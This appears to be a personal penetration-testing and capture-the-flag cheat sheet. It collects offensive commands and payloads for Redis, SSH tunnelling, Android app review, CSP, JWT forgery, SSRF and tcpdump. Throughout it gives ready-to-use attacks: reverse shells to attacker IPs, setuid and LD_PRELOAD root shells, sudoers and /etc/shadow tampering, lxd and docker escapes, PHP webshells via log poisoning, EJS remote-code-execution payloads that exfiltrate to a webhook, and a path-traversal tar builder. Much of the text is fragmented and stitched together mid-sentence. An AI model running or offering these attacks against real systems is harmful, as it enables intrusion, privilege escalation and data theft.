Hack. Eat. Sleep. Repeat!!!
NOTES
redis-cli -h [ip]
to connectAUTH [password]
to authenticateKEYS *
to list all the keysGET <key>
to read a key of te string typelrange <key> <start number> <stop number>
to read a listEdit the /etc/proxychains
file and comment sock4 127.0.0.1 9050
and change sock5âs port value to your desired port
Connect with dynamic portforwarding with ssh
ssh -l id_rsa -D {proxychains' sock5 port number}
To scan the internal network with nmap,use
proxychains nmap -sT 127.0.0.1
To local port forward
sudo ssh -l id_rsa -L {port you want to forwrd through}:127.0.0.1:{remote port discovered}
ssh -N -L {local port(your machine)}:127.0.0.1:{remote port(victim machine)} rosa@chemistry.htb # No verbose output
\r
in exploitdb
scriptssed -i -e 's/\r$//' <script's name>
chisel server -p <port> --reverse
on the attacker machine./chisel client [chisel server's ip]:[chisel's server port} R:[port you want it to tunnel through on the server's machine]:127.0.0.1:[internal port running a service on the victim's machine]
openssl passwd -6 (password)
Clear the root hash in /etc/shadow
and replace it with your hash, notice the highlighted part
root:<hash>:18195:0:99999:7:::
sudo apt-get install android-sdk-platform-tools
adb devices
to see devices connectedadb shell pm path <package name>
to get the apk package nameadb pull <package name>
to download apk locallyUse this grep examples to check for weak cryptography e.g exposed private key
grep -r "SecretKeySpec" *
grep -rli "aes" *
grep -rli "iv"
To check for exported preferences, check the AndroidManifest.xml
with grep
cat AndroidManifest.xml | grep "activity" --color ##To check activities
cat AndroidManifest.xml | grep "android:allowBackup" --color ## To check the app allows backup access
cat AndroidManifest.xml | grep "android:debuggable" --color ### Check if the app is debuggable,it makes it easier to reverse engineer if debuggable
cat AndroidManifest.xml | grep "android:" --color #finding android permissions
Apps permission
Apps can be normal
or dangerous
, normal perms donât pose risks or dangers if granted but dangerous
ones pose otherwise
Discovering Firebase Scanner
git clone https://github.com/shivsahni/FireBaseScanner
Commands
python FireBaseScanner.py -p /path/apk
Use
telnet <ip> <port>
USER <username>
PASS <password>
Examples of inline javascript
<script>alert("5");</script>
Content-Security-Policy
to dictate the security policy of the content.-Essence of the header include
Policy: Content-Security-Policy: script-src 'self' https://safe-external-site.com; style-src 'self'
Script-src
: It tells the browser where to load scripts from, self
indicates that scripts should be loaded from the same domain or loaded from domain https://safe-external-site.com
The style-src
directs the browser to load from the same domain and not an external one.
You can also create a CSP directive within a <meta>
tag e.g
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://safe-external-site.com">
unsafe-inline
directives defeats the purpose of CSP and allows execution of inline scripts which is not highly recommended.(Smells like XSS)'none' : Match nothing.
'self': Match the current host domain (same origin, i.e. host and port). Do not match subdomains, though.
'unsafe-inline': Allow inline JavaScript and CSS.
'unsafe-eval': Allow dynamic text to JavaScript evaluations.
domain.example.com: Allow loading resource from the specified domain. To match any subdomain, use the * wildcard, e.g. *.example.com
https: or ws:: Allow loading resources only over HTTPS or WebSocket.
nonce-{token}: Allow an inline script or CSS containing the same nonce attribute value.
Nonce
attribute allows us to use specific inline attributes without the need to enable the unsafe-inline
attributes.It is an attribute of the <script>
and <style>
tag.For every request, the server creates a base64 encoded value that cannot be guessed.Then, the server includes it in every allowed inline tag allowed. e.g
The nonce is also indicated in the inline <style>
and <script>
tag allowed e.g
Content-Security-Policy: script-src 'nonce-dGhpcyBpcyBhIG5v=='; style-src 'nonce-dGhpcyBpcyBhIG5v=='
References:
Change fileâs details to
{
"name": ".nodeitems",
"scripts": {
"preinstall": "[shell code]"
}
}
if [-z "$TMUX"]; then
exec tmux
fi - Explanation: $TMUX vsriable prevents nested tmux instances are started on login shells. `exec` will replace current process with a new one i.e. current shell will be terminated and tmux instance with shell inside will be started, so you won't need to exit twice.
Add tmux plugin to your plugins
plugins(tmux)
ZSH_TMUX_AUTOSTART=true
in your .zshrc
Note that you have to add this assignment before the line
source $ZSH/oh-my-zsh.sh
/usr/bin/script -qc /bin/bash /dev/null
ctrl + z
stty raw -echo; fg; reset
Attack Machine
socat file:`tty`,raw,echo=0 tcp-listen:[port]
Victim machine
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[ip]:[port]
If the path to a binary is not specified in a script or binary e.g tar instead of /usr/bin/tar
, you can set the environmental variable with export PATH=.:$PATH
to check the current directory for our malcious binary before moving to /usr/bin
to grab a binary.
Our Malicious tar file should contain this if python3 is present on the victim machine
#! /usr/bin/env python3
print("Malicious me")
import os
os.setuid(0)
os.setgid(0)
os.system("/bin/bash")
Python
#! /usr/bin/env python
print("Malicious me")
import os
os.setuid(0)
os.setgid(0)
os.system("/bin/bash")
Use chmod +x tar
later
/etc/update-motd.d
Write the sh code to 00-header, the code grants suid bit to the bash file copied to a userâs directory, <username>
represents the user you have access to
echo "cp /bin/bash /home/<username>/bash && chmod u+s /home/<username>/bash" >> /etc/update-motd.d/00-header
Exit the ssh connection and reconnect, then run
./bash -p
Add your user to the /etc/sudoers
file and grant power to execute all commands
echo "<user> ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers
docker.sock
file,you can find it with find / -name docker.sock 2</dev/null
Make it accessible on the machine with socat
socat TCP-LISTEN:[PORT],reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock
### Getting a revshell as root on the container
List all containers to get their ids
curl http://localhost:[port]/containers/json
Add the id to this link, replace cmdâs value with your rev shell code
curl http://localhost:8080/containers/[existing container's id]/exec -X POST -H "Content-Type: application/json" -d '{"AttachStdin":false, "AttachStdout":true, "AttachStderr":true, "Tty":false, "Privileged":false, "Cmd":["socat","TCP:[ip]:[port]","EXEC:bash"]}'
Start the container with id from the output the command above
curl http://localhost:8080/exec/<id>/start -X POST -H "Content-Type: application/json" -d '{"Detach": false,"Tty": false}'
Mounting host partition on docker
mkdir /tmp/mnt
mount /dev/<partition> /tmp/mnt
chroot /tmp/mnt
mount -t proc proc /proc # Mount /proc to allow access to hardware information and running processes
Find doas.conf
with
find / -name "doas.conf" -type f 2</dev/null
To execute commands,use
doas -u <user> <command> <args>
e.g doas -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
Send file with
sudo -u root /usr/bin/wget post-file=/etc/shadow <ip>:<port>
To receive file
sudo -u root /usr/bin/wget http://<ip>:<port>/filename -O <save name>
/var/log/apache2/access.log
Host a command shell php code with pythonâs http.server
Exploit HTTP-Header User-Agent
e.g
curl http://mafialive.thm/test.php\?view\=/var/www/html/development_testing/.././.././.././.././var/log/apache2/access.log -H "User-Agent: <?php file_put_contents('shell.php',file_get_contents('http://<http server's ip>:<http server'sport>/shell.php')) ?>"
### REFERNCES:
Poc code
import os
from flask import Flask,render_template_string
app = Flask(__name__)
os.setuid(0)
os.setgid(0)
os.system("bash -p")
@app.route("/")
def index():
return render_template_string("Life tuff ooo!!!!")
if __name__ == "__main__":
app.run(port=8080,debug=True)
Set the environmetal variables
export FLASK_APP=app.py
export FLASK_ENV=development
Run sudo -u root /usr/bin/flask run
Root
Save as run.hs
import System.Process
main = callCommand "bash -c 'bash -i 5<> /dev/tcp/10.8.158.229/1337 0<&5 1>&5 2>&5'"
Generate php code with this script
Example of <?=
$_GET[0];;?>
as generated by the author
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
To execute webshell e.g
http://127.0.0.1/?0=id&file=[filter generated above]
Script usage for the php filter
./filter.py --rawbase64 [base64 encoded php code]
php://temp
is not compulsory,this approach is crucial in a case where a filename is required as a filter./etc/passwd
filelxd
lxd
,we can create a vulnerable container and breakout as rootlxd init
and add this settingsCreate this a container in your machine and build with root
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
Transfer it to the victim machine,receive in the userâs home directory
Import with
lxc image import [tar file] --alias alpine
lxc image list #To list images
The next step is to run a privileged container, so it runs as root
lxc init alpine juggernaut -c security.privileged=true
lxc config device add juggernaut gimmeroot disk source=/ path=/mnt/root recursive=true
lxc start juggernaut
lxc list
Then execute juggernaut
lxc exec juggernaut sh
Use chroot /mnt/root
to change root filesystem since weâve mounted it
/etc/shadow
and login as rootIt consist of 3 headers,which includes header
,payload
and signature
.The header consists of metadata of a token, the payload contains the user details or claim.It should be noted that this headers are base64 encoded e.g
Typical Jwt:
eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvcyBNb250b3lhIiwic3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haWwiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ.SYZBPIBg2CRjXAJ8vCER0LA_ENjII1JakvNQoP-Hw6GG1zfl4JyngsZReIfqRvIAEi5L4HV0q7_9qGhQZvy9ZdxEJbwTxRs_6Lb-fZTDpW6lKYNdMyjw45_alSCZ1fypsMWz_2mTpQzil0lOtps5Ei_z7mM7M8gCwe_AGpI53JxduQOaB5HkT5gVrv9cKu9CsW5MS6ZbqYXpGyOG5ehoxqm8DL5tFYaW3lB50ELxi0KsuTKEbD0t5BCl0aCR2MBJWAbN-xeLwEenaqBiwPVvKixYleeDQiBEIylFdNNIMviKRgXiYuAvMziVPbwSgkZVHeEdF5MQP1Oe2Spac-6IfA
Header-:
eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9
Payload-:
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvcyBNb250b3lhIiwic3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haWwiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ
Base64 decoded value of the payload-:
{"iss":"portswigger","exp":1648037164,"name":"Carlos Montoya","sub":"carlos","role":"blog_author","email":"carlos@carlos-montoya.net","iat":1516239022fQ
The signature is generated by hashing the header and payload. In order to generate the token, a secret signing key is required, the server hashes the header and payload with the secret key to generate the jwt.The signing key is required to generate the correct signature of header and payload.
JWT
, it also means a JWS token. JWEs are very similar except the actual contents are encrypted and not encoded.Servers donât usually store any information about the JWTs that they issue. Instead, each token is an entirely self-contained entity. This has several advantages, but also introduces a fundamental problem - the server doesnât actually know anything about the original contents of the token, or even what the original signature was. Therefore, if the server doesnât verify the signature properly, thereâs nothing to stop an attacker from making arbitrary changes to the rest of the token
Jwt libraries provide a way for verifying and decoding them, e.g the Node.js library jsonwebtoken
has methods verify()
and decode()
. Occassionally, developers confuse this two methods and pass the token to decode()
which doe not verify the signature.With this flaw, we can sign cookies for other users.
The jwt token has an alg
headers which states the algorithmn technique used to sign the token.Although, some servers allow the none
which is flawed and unsigned with the secret key.Due to the obvious dangers of this, servers usually reject tokens with no signature. However, as this kind of filtering relies on string parsing, you can sometimes bypass these filters using classic obfuscation techniques, such as mixed capitalization and unexpected encodings.Even if the token is unsigned, the payload part must still be terminated with a trailing dot.
A tampered one, this should be the structure, set the headerâs alg to not and tweak the payloadâs user but it must end wit a trailing dot.
eyJraWQiOiJiODU0Yjg0Mi0wMzM5LTQ0ZGEtYjM4Zi05ODQ2ODRiOTE1MDYiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNTU2OTk3Nywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
Decoded header | Â | payload-:{"kid":"b854b842-0339-44da-b38f-984684b91506","alg":"none}||{"iss":"portswigger","exp":1725569977,"sub":"administrator"} |
Some signing algorithms, such as HS256 (HMAC + SHA-256), use an arbitrary, standalone string as the secret key. Just like a password, itâs crucial that this secret canât be easily guessed or brute-forced by an attacker. Otherwise, they may be able to create JWTs with any header and payload values they like, then use the key to re-sign the token with a valid signature.
Bruteforce with hashcat with
hashcat -a 0 -m 16500 <jwt> <wordlist>
Use hashcat --show <jwt>
to see a the secret
According to the JWS specification, only the alg header parameter is mandatory. In practice, however, JWT headers (also known as JOSE headers) often contain several other parameters. The following ones are of particular interest to attackers.
jwk (JSON Web Key) - Provides an embedded JSON object representing the key.
jku (JSON Web Key Set URL) - Provides a URL from which servers can fetch a set of keys containing the correct key.
kid (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Depending on the format of the key, this may have a matching kid parameter.
Example:
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
copy public key as JWK
in the JWT_Editor tabjwt
to hold the public key objectkid
key with the new public key kid
.embedded jwt
laterInstead of embedding private keys with the jwk
,some servers allow you use jku
(JWK set url) to reference a set containing the key.A jwk key is a json object containing array representing different keys.e.g
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
"n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
},
{
"kty": "RSA",
"e": "AQAB",
"kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
"n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
}
]
}
JWK Sets like this are sometimes exposed publicly via a standard endpoint, such as /.well-known/jwks.json
.More secure websites will only fetch keys from trusted domains, but you can sometimes take advantage of URL parsing discrepancies to bypass this kind of filtering.[Sliding to SSRF to learn some stuffs]
It happens if /usr/bin
is not added to the PATH environmental variable
Add it to the path with
export PATH=/usr/bin:$PATH
Inject payload in User-Agent
header
curl -i -H "User-agent: () { :;}; echo; [command]" [host]/[cgi_script]
The binary path should be detailed to execute shell commands e.g /bin/ls
or /bin/cat
Use
echo "$(<[filename])"
command line
and copy any bash reverse shell code and saversync <hosst>::
to check for directoriesrysnc rsync://[username]@[ip]/directory/
to list sub directories or filesTo copy files, use the -avh option
rsync -avh rsync://rsync-connect@10.10.121.4/files/sys-internal/.ssh/ [directory you want to copy to]
about:config
in the url barnetwork.security.ports.banned.override
,pick string, delete if it contains boolean
typeAn attacker can cause the server to make a request to itself via the loopback network interface.It involves providing a url like localhost
or 127.0.0.1
.For example,modifying an endpoint POST parameter
that loads a url
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/admin
Exploiting it
non-routable private ip addresses
which are reserved for private use and cannot be accessed on the internet.In many cases,internal backend functionalities always have sensitive info with no authentication.SSRF allows an attacker to scan the whole network for internal services.burp intruder
and spot juicy requests based on the Content-Length
Admin panel spotted on 192.168.0.7
localhost
and 127.0.0.1
2130706433,017700000001 or 127.1
localhost
e.g with burp collaboratorhttp://
or http://
https://expected-host:fakepassword@evil-host
https://evil-host#expected-host
https://expected-host.evil-host
You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request. You can also try double-encoding characters; some servers recursively URL-decode the input they receive, which can lead to further discrepancies.
You can use a combo of everything
Extractor/extractor.sh
to dump sensitive infoExploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. This is only relevant when enabling the ext transport protocol.
POC
from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])
A good method to exploit it to create a script and run the script with the ext::sh
.e.g
ext::bash -c [path_to your_malicious_binary]% ls2
The poc below bypasses the fix for CVE-2022-29078
in ^3.1.7
Example of vulnerable index.js
, res.render in this case is controllable
const express = require('express')
const app = express()
const port = 3000
app.set('view engine', 'ejs');
app.get('/page', (req,res) => {
res.render('page', req.query);
})
app.listen(port, () => {
console.log("Example app listening on port ${port}")
})
POC code: This poc below works well with
^3.1.7`
http://127.0.0.1:3000/page?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//
Another POC code with [escapeFunction]
http://127.0.0.1:3000/?name=John&settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('calc');
Poc for out-of-band exfiltration
http://127.0.0.1:3000/?settings[view%20options][client]=true&settings[view%20options][escapeFunction]=1;return%20fetch(`https://webhook.site/fb92548e-56b3-4f02-9ca7-2b702be8f227?flag=${process.mainModule.require('child_process').execSync('cat%20flag-aaee2b1430.txt').toString()}`);//
^3.1.9
in PatriotCtf with the above POCescapeshellcmd() and escapeshellargs()
import flask_unsign
sign()
object which requires 2 arguments a dict containing a value and a string containig the secret key.decode()
object to casually decode the session, it requires only one argument which is the cookieverify()
method which requires a cookie argument in string type,it returns a boolean.flask_unsign.cracker
from flask_unsign.cracker import *
Cracker
, pass the cookie as an argument and finally assign the object to a variableobject().quiet
variable.By default,it is set to bool False
,we need to set it to True
because the non-quiet mode can be weird.crack
function and pass in a list of words that you want to bruteforce with.object().secret
mode
set to eval
or notast.parse(len(__import__('subprocess').Popen('ls').communicate()))
#! /usr/bin/env python3
from flask import Flask, redirect,request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/',methods=['GET'])
def root():
port = request.args.get("port")
file = request.args.get("file")
if file != None:
url = f"http://127.0.0.1:{port}/{file}"
else:
url = f"http://127.0.0.1:{port}/"
return redirect(url, code=301)
if __name__ == "__main__":
app.run(host="10.9.1.30", port=8080)
Londonbridge
,I passed in &
in a url encoded format.This approach helps you bypass filtered strings like localhost
,127.0.0.1
,0.0.0.0
.shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#define _GNU_SOURCE
void _init()
{
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
ping
.gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami
TLS
level to 0
in the case of Windows 7 rdp as seen in the image above.import os
import json
import zlib
def lambda_handler(event, context):
try:
payload=bytes.fromhex(event["queryStringParameters"]["payload"])
flag = os.environ["flag"].encode()
message = b"Your payload is: %b\nThe flag is: %b" % (payload, flag)
compressed_length = len(zlib.compress(message,9))
except ValueError as e:
return {'statusCode': 500, "error": str(e)}
return {
'statusCode': 200,
'body': json.dumps({"sniffed": compressed_length})
}
#!/usr/bin/env python3
import requests
import json
base_url = 'https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/?payload='
flag = 'udctf{'
while True:
for code in range(33, 127):
print('[+] Try flag:', flag + chr(code))
url = base_url + (flag + chr(code)).encode().hex()
r = requests.get(url)
res = json.loads(r.text)
size = res['sniffed']
if size == 67:
flag += chr(code)
break
if flag[-1] == '}':
break
print('[*] flag:', flag)
-----------------
### Using scp
- Window files-:
` scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db . `
-----------------
### Creating malicious tar.gz to exploit tarfile.extractall()
------------------
- Function `tarfile.extractall()` is vulnerable to path traversal which can be used to overwrite files.
- Code-:
```python3
#! /usr/bin/env python3
import tarfile
import io
tar = tarfile.TarFile.open('malicious.tar.gz', 'w:gz')
info = tarfile.TarInfo("../../var/www/html/databases/shell.php")
info.mode=0o444 # So it cannot be overwritten
php_shell = b"<?php echo system($_GET['cmd']); ?>"
info.size=len(php_shell)
tar.addfile(info,io.BytesIO(php_shell))
tar.close()
25
which is smtp
log /var/log/mail.log
via Local File Include.The payload below is url-encoded.telnet <ip> 25
MAIL FROM:<toor@gmail.com>
RCPT TO:<?php system($_GET['c']); ?>
âť tar xvf gau-linux-amd64.tar
âť mv gau-linux-amd64 /usr/bin/getallurls
git.plugin.zsh
.Filepath is ~/.oh-my-zsh/plugins/git/git.plugin.zsh
.The alias conflicts with gau.<?php
if (isset($_POST['username'])) {
echo system($_POST['username']);
}else {
echo "No username provided";
}
?>
Content-Type
to application/x-www-form-urlencoded
### Structure-:
git clone https://gitlab.com/kalilinux/packages/armitage.git && cd armitage
bash package.sh
armitage/release/unix
to see jar filessudo msfdb delete
sudo msfdb init
sudo ./temaserver [ip] [password]
⯠msfconsole
Metasploit tip: After running db_nmap, be sure to check out the result
of hosts and services
double free or corruption (out)mework console...-
sudo apt remove metasploit-framework
rm -rf ~/.msf4
sudo apt autoremove
sudo apt update
sudo apt install metasploit-framework
msfconsole
-
-i
to listen on it, you can specify with any
or <interface's name>
e.g eth0.To check for interfaces,use ip address show
or ip a s
.-w
-r
-c
which means count
-n
and -v for verbosity,for more verbosity,use -vv
and -vvv
host
option as seen below,you can also limit packets to a source ip or hostname and destination ip or hostname with src host hostname
,src host ip
,dst host hostname
and dst host ip
.port
option or dst port [port number]
and src port [port number]
.ip,ip6,icmp,tcp and udp
.greater <length>
or less <length>
.Header Bytes The purpose of this section is to be able to filter packets based on the contents of a header byte. Consider the following protocols: ARP, Ethernet, ICMP, IP, TCP, and UDP. These are just a few networking protocols we have studied. How can we tell Tcpdump to filter packets based on the contents of protocol header bytes? (We will not go into details about the headers of each protocol as this is beyond the scope of this room; instead, we will focus on TCP flags.)
Using pcap-filter, Tcpdump allows you to refer to the contents of any byte in the header using the following syntax proto[expr:size], where:
proto refers to the protocol. For example, arp, ether, icmp, ip, ip6, tcp, and udp refer to ARP, Ethernet, ICMP, IPv4, IPv6, TCP, and UDP respectively. expr indicates the byte offset, where 0 refers to the first byte. size indicates the number of bytes that interest us, which can be one, two, or four. It is optional and is one by default.
To better understand this, consider the following two examples from the pcap-filter manual page (and donât worry if you find them difficult):
ether[0] & 1 != 0 takes the first byte in the Ethernet header and the decimal number 1 (i.e., 0000 0001 in binary) and applies the & (the And binary operation). It will return true if the result is not equal to the number 0 (i.e., 0000 0000). The purpose of this filter is to show packets sent to a multicast address. A multicast Ethernet address is a particular address that identifies a group of devices intended to receive the same data.
ip[0] & 0xf != 5 takes the first byte in the IP header and compares it with the hexadecimal number F (i.e., 0000 1111 in binary). It will return true if the result is not equal to the (decimal) number 5 (i.e., 0000 0101 in binary). The purpose of this filter is to catch all IP packets with options.
-q: Quick output; print brief packet information
-e: Print the link-level header
-A: Show packet data in ASCII
-xx: Show packet data in hexadecimal format, referred to as hex
-X: Show packet headers and data in hex and ASCII
Syntax-: padbuster http://10.10.31.207:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4 16 -encoding 2
URL â This is the URL that you want to exploit, including query string if present. There are optional switches to supply POST data (-post) and Cookies if needed (-cookies) Encrypted Sample â This is the encrypted sample of ciphertext included in the request. This value must also be present in either the URL, post or cookie values and will be replaced automatically on every test request Block Size â Size of the block that the cipher is using. This will normally be either 8 or 16, so if you are not sure you can try both
For this example, we will also use the command switch to specify how the encrypted sample is encoded. By default PadBuster assumes that the sample is Base64 encoded, however in this example the encrypted text is encoded as an uppercase ASCII HEX string. The option for specifying encoding (-encoding) takes one of the following three possible values:
0: Base64 (default)
1: Lowercase HEX ASCII
2: Uppercase HEX ASCII
padre -u "http://10.10.88.80:8080/api/debug/$" -err "Decryption error" -e lhex "39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4"
Docker.sock
daemon which is used by docker to communicate with docker api.Use the find command find / -name "docker.sock" -type f 2</dev/null
or it can spotted with linpeas.sh
.docker run -v /:/host -it <image name>
,the exploitation process relies on spawning a container with the host file system mounted in it and the great plus is that we will be breaking out as root.he filesystem will be mounted in directory /host
.--unix-socket
option with curl.dockerd -H unix:///var/run/docker.sock -H tcp://0.0.0.0:2375
to access via httpcurl -i -s --unix-socket /run/docker.sock http://localhost/containers/json
run
command to create,start and attach a container.Donât forget to switch the json key image
